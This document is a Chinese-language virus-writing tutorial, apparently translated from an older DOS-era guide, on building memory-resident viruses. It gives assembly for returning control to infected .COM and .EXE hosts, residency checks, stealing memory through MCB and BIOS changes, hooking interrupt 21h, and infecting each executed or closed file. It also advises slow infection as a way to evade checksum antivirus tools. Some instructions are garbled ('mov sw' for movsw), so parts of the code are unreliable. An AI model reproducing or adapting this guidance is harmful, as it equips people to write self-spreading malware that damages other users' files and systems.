結構 |
這種病毒包含了兩大部分:載入機制以及攔截處理。載入機制提供了兩種功能。首先,它會將中斷向量轉至病毒本身;其次,它將病毒常駐。而攔截處理則含有會導致感染檔案的程式碼。廣義而言,處理機制會竄改第21號中斷並截斷某些可用於執行檔案的呼叫。
載入機制 |
載入機制包含了兩大部分:常駐程序以及還原程序。後者所做的,就如同非常駐型病毒的一般,將控制權交回原始檔案。感染.COM檔。只要把開頭前幾位元組換掉,控制權便移轉到病毒上。還原.COM檔的秘訣僅僅只要將被覆蓋的那幾位元組還原即可。這個還原過程發生在記憶體中,所以並不是永久的。由於.COM檔只佔單一節區,且總是由此節區內偏移值 100h 處載入(因為要預留 PSP的空間),復原程序變的異常簡單。舉例而言,假如名為"first3"的緩衝區內存放的是受病毒感染前檔案的前三位元組,則以下的程式碼便會在記憶體中將原始碼還原:
mov di,100h ; Absolute location of destination
lea si,[bp+first3] ; Load address of saved bytes.
; Assume bp = "delta offset"
mov sw ; Assume CS = DS = ES and a cleared
direction flag
mov sb ; Move three bytes
將控制權交還程式的問題仍然存在。亦即表示必須強迫程式將控制權移轉到偏移值100h 的處。最簡單的解法就像:
mov di,100h
jmp di
這個程序有多種變化可以做到,但它們都達到將IP設為 100h 的基本要求。 感染.EXE檔的奧義。最簡易的手法就是替換.EXE檔檔頭的某些固定的位元組。還原的秘訣就在於恢復所有病毒做過的修改。程式如下:
mov ax, es ; ES = segment of PSP
add ax, 10h ; Loading starts after PSP
add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
; relative to end of PSP
cli
add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
mov ss, ax
mov sp, word ptr cs:[bp+OrigSSSP]
sti
db 0eah ; JMP FAR PTR SEG:OFF
OrigCSIP dd ? ; Put values from the header
OrigSSSP dd ? ; into here
安裝查核 |
安裝查核有評多不同的類別。最常見的就是呼叫第21號中斷,並在AX暫存器中放入特定的值。假若由某特定暫存器傳回某特定值,那表示此病毒已經常駐過了。舉例而言,一個確認常駐的範例如下:
mov ax,9999h ; residency check
int 21h
cmp bx,9999h ; returns bx=9999h if installed
jz already_installed
當你為了安裝查核,而要選放入AX的值時,記得不要衝到既有的呼叫,除非原本就是無害的。比如說,不要使用秀字串在螢幕上的呼叫(ah=9),除非你希望在它第一次常駐時發生不可預期的結果!而無害的呼叫,就像是取得 DOS版本(ah=30h)或是更新鍵盤緩衝區(ah=0bh)的呼叫。當然,假若這個檢查與現有的功能衝到,那你必須非常小心的確認沒有程式會對它感冒。舉例而言,不要只誘捕ah=30h,而是要誘捕ax=3030h或是將ax=3030h以及bx=3030h同時誘導。另一種檢查是否已常駐的方法就是去找尋病毒中的某些特徵。比如說,假若某病毒總是將某未使用的中斷呼叫指向它本身,一個檢查的方法便是去找尋此特徵所使用的中斷向量。如下:
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp es:bx,0FF2Eh ; search for the virus string
.
.
.
int60:
jmp far ptr cs:origint21
當你使用此法時,請小心確認此特徵不會在病毒常駐時失效。在上例中,其它程式就不能攔截 60h,否則查核會失效。甚至當病毒已載入記憶體時,會產生不可預期的後果。
尋找記憶體的頂端 |
DOS 通常配置所有的記憶體給被載入的程式。利用這個知識,病毒可以很容易的得到可使用的記憶體大小。重覆一次,MCB 的結構是:
Offset Size Meaning
------ ------- -------
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.
mov ax,ds ; Assume DS initially equals the segment of the PSP
dec ax
mov ds,ax ; DS = MCB of infected program
mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)
一個有同樣效果卻更簡單的方法是按照下列方式使用DOS 的重配置記憶體呼叫:
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
mov bx,0FFFFh ; Request a ridiculous amount of memory
int 21h ; Returns maximum available memory in BX
; This is the same value as in ds:[3]
配置高記憶體 |
配置記憶體最簡單的方法是透過DOS 完成你的工作:
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
sub bx,(endvirus-startvirus+15)/16+1
; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int 21h
mov ah,48h ; Allocate memory
mov bx,(endvirus-startvirus+15)/16
int 21h
mov es,ax ; es now holds the high memory segment
dec bx
mov byte ptr ds:[0], 'Z' ; probably not needed
mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB
將MCB 的擁有者設為DOS 的目的是為了防止當載體程式結束時,記憶區段會被釋放的後果。當然,有人喜愛直接修改MCBs的值。這是很容易做到的。假設DS的值和載體程式MCB的節位址相同,下面的程式提供了這種技巧:
; Step 1) Shrink the carrier program's memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub ds:[3],(endvirus-startvirus+15)/16 + 1
; Step 2) Mark the carrier program's MCB as the last in the chain
; This isn't really necessary, but it assures that the virus will not
; corrupt the memory chains
mov byte ptr ds:[0],'Z'
; Step 3) Alter the program's top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
; Step 4) Calculate the first usable segment
mov bx,ds:[3] ; Get MCB size
stc ; Add one for the MCB segment
adc bx,ax ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment. Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov bx,ds:[12h]
; Step 5) Build the MCB
mov ds,bx ; ds holds the area to build the MCB
inc bx ; es now holds the segment of the memory area controlled
mov es,bx ; by the MCB
mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov word ptr ds:[1],8 ; Mark DOS as the owner
mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
下面則又是另一種直接修改MCB 的方法。
; Step 1) Shrink the carrier program's memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub ds:[3],((endvirus-startvirus+1023)/1024)*64
; Step 2) Mark the carrier program's MCB as the last in the chain
mov byte ptr ds:[1],'Z'
; Step 3) Alter the program's top of memory field in the PSP
sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
; Step 4) Calculate the first usable segment
mov es,word ptr ds:[12h]
; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor ax,ax
mov ds,ax
sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
後者比前者強大,因為它比前者簡單且短小。新的MCB 不需被建立,因為DOS 將不再配置被病毒佔據的記憶體。修改記載在BIOS資料區有關記憶體大小的記錄可以保證這個情形。
複製病毒至高記憶體 |
這是件十分容易的事。只要將ES對準高記憶體節區,DS對準CS,BP對準偏移值,下面的程式碼便可以達到目的:
lea si,[bp+offset startvirus]
xor di,di ; destination @ 0
mov cx,(endvirus-startvirus)/2
rep movsw ; Copy away, use words for speed
置換中斷向量 |
再度,有兩個方式可以使用:透過DOS 或直接置換。每個有心的程式設計者都曾和中斷向量奮鬥過。若透過DOS :
push es ; es->high memory
pop ds ; ds->high memory
mov ax,3521h ; get old int 21h handler
int 21h ; to es:bx
mov word ptr ds:oldint21,bx ; save it
mov word ptr ds:oldint21+2,es
mov dx,offset int21 ; ds:dx->new int 21h handler in virus
mov ax,2521h ; set handler
int 21h
而若直接修改:
xor ax,ax
mov ds,ax
lds bx,ds:[21h*4]
mov word ptr es:oldint21,bx
mov word ptr es:oldint21+2,ds
mov ds,ax
mov ds:[21h*4],offset int21
mov ds:[21h*4+2],es
由於變數的位置已經知道,位移值差距的計算並不十分重要。這是因為病毒總是載入至高記憶體偏移值0的地方。
攔截處理 |
攔截處理機制是用於截斷DOS 的呼叫並轉接至病毒。傳統上,攔截處理是由一個檢查安裝查核呼叫的步驟開始。舉例來說:
int21:
cmp ax,9999h ; installation check?
jnz not_installation_check
xchg ax,bx ; return bx = 9999h if installed
iret ; exit interrupt handler
not_installation_check:
; rest of interrupt handler goes here
在不妨礙的情形下,病毒可以竄改任何它想攔截的DOS 呼叫。通常最有竄改價值的呼叫是檔案執行(ax=4b00h),如此一來,每個被執行的檔案都會被感染。另一個可以竄改的呼叫是代碼關閉(雖然這要花較多的工夫)。這種感染就會發生在拷貝、觀看、補綴上。在某些呼叫上,前置鏈結較好;反之,則用後置鏈結。就當做基本常識吧!假如被攔截的呼叫將會破壞檔案或指位器,那麼使用前置鏈結。若是呼叫必須在感染前完成,那就使用後置鏈結。(譯注:前置鏈結表示該呼叫在感染行為前串接,反之亦然)前置鏈結很簡單:
pushf ; simulate an int 21h call
call dword ptr cs:oldint21
; The following code ensures that the flags will be
properly set upon
; return to the caller
pushf
push bp
push ax
; flags [bp+10]
; calling CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov bp, sp ; setup stack frame
mov ax, [bp+4] ; get new flags
mov [bp+10], ax ; replace the old with the new
pop ax ; restore stack
pop bp
popf
在鏈結完成,離開攔截處理時,使用 iret 較 retn 或 retf 為佳。後置鏈結更簡單:
jmp dword ptr cs:oldint21 ; this never returns to the virus int handler
當離開攔截處理時,請確認堆疊的完整及暫存器的原值。務必在前置鏈結之後及後置鏈結前保存下暫存器的內值。常駐式病毒的感染動作基本上和非常駐病毒是相同的。唯一的不同處是在當攔截處理竄改感染程序中某個會用到的呼叫之時。比如說,若是要竄改代碼關閉呼叫,那麼感染程序就要用一個指向原 int21h 處理器的程序把代碼關閉的呼叫換掉。就像:
pushf
call dword ptr cs:oldint21
對常駐病毒而言,當處理編碼過程時,這也是必須的。在非常駐病毒中,病毒碼在整個過程中是沒有必要保存下來的。然而,就算是在感染發生時,保持解碼完的攔截處理程式是值得做的。因此,病毒要在記憶體中留下兩份拷貝:一份就是程式而另一份視做資料。編碼器就將後者編碼而保持攔截處理在程式中。這是相當重要的,尤其是當病毒還會竄改其它中斷,如 int09h 或 int13h 時。
常駐病毒的一項理論 |
常駐病毒在傳統上可分為兩類:慢速傳染型及快速傳染型。這兩類各有其利弊得失。
慢速傳染型是除了檔案建立外都不感染的。這類病毒修改建檔程序,並在檔案關閉時感染檔案。感染將發生在新檔的建立及檔案的拷貝上。這種病毒的一個缺點就是它散佈的太慢了。然而,這個缺點也正是優點所在,它將可以保持長時間的不可偵測。雖然感覺上此類病毒較無效率,不過事實上它們表現的不錯!在建檔時傳染,同時表示,那些所謂的 Checksum/CRC 式防毒程式無法在感染之前對此檔案進行 Checksum/CRC 處理。除此之外,檔案通常多由一個目錄拷貝至另一個不同的目錄。故此類病毒可行。
快速傳染型在執行檔案時傳染。這類病毒通常立即攻擊常用程式,以確保下次開機後仍能存在於記憶體中。這是它們的主要優點,卻也是最大的缺點。因為這類病毒傳染的十分快速,使用者很容易會發現系統的不尋常;尤其是在病毒未使用任何隱形技巧之時。當然,沒人敢說那一種是較佳的。這是個人喜好的問題。雖然慢速傳染型病毒正在急速增加,現今大多數病毒仍是快速感染型。當病毒欲在建檔或拷貝時感染,它必須把檔名複製到緩衝區內,執行呼叫,並保存代碼。當收到此代碼的關檔指示時,就利用剛保存的檔名去感染檔案。這是不用追入DOS內部,僅是在關閉代碼後感染的一個最簡單的方法。